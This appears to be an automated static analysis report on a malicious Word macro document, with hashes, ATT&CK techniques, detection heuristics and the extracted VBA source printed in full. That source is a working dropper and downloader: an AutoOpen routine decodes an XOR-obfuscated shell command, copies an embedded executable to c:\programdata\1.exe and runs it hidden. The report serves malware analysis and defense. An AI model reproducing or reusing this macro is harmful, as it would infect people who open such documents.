Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d66972dbf6c591bc…

MALICIOUS

Office (OOXML)

103.7 KB Created: 2020-07-30 07:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: d52f0462c73ecf1e60cbf3dbfdc6e136 SHA-1: 2d44a92f805011a677040473bbf2c24201f28a70 SHA-256: d66972dbf6c591bc6ee282518a953bbbe2e5ace24359731c01b53e28df8b3577
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute a payload. The macro uses the CopyFile function to copy an embedded resource (likely the payload) to 'c:\programdata\1.exe' and then executes it using Shell. The ClamAV detection name 'Doc.Downloader.835b97208387fc57-OOXML-9981517-0' further supports the downloader functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builder\rels\dirpack2\us.jpg
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1588 bytes
SHA-256: bae3a580d4b85d5009aa3d32c0d8af3ac19afc7e27c13423e0c753c31b4a362a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c"
#If VBA7 Then
Private Declare PtrSafe Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As LongPtr) As LongPtr
#Else
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
#End If
Function HH()
HH = "c:\programdata\1.exe"
End Function
Sub autoopen()
CA = mM("24!22!31!91!84!24!91!89!8!30!15!91!14!70!14!9!23!93!93!24!26!23!23!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!30!3!30!91!84!94!14!94!37!24!37!26!37!24!37!19!37!30!37!91!84!29!37!91!19!15!15!11!65!84!84!1!76!9!29!23!10!75!67!75!85!24!20!22!84!25!20!23!25!84!17!26!30!21!15!85!11!19!11!68!23!70!23!18!14!15!77!85!24!26!25!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!91!93!93!91!24!26!23!23!91!9!30!28!8!13!9!72!73!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!89")
Call CopyFile(ActiveDocument.Shapes(1).Title, HH, 1)
Dim gY As New WshShell
Call gY.run(CA, 0)

End Sub

Attribute VB_Name = "w"
Function mM(iB)
Nj = Split(iB, "!")
For aw = 0 To UBound(Nj)
 uW = uW & Chr(Nj(aw) Xor 123)
Next aw
mM = uW
End Function
Function n8()
n8 = "util"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: dc062a8fd88e280aef495c4c1f0af53623ab16d94f7d4133aa8932a8192bb05e

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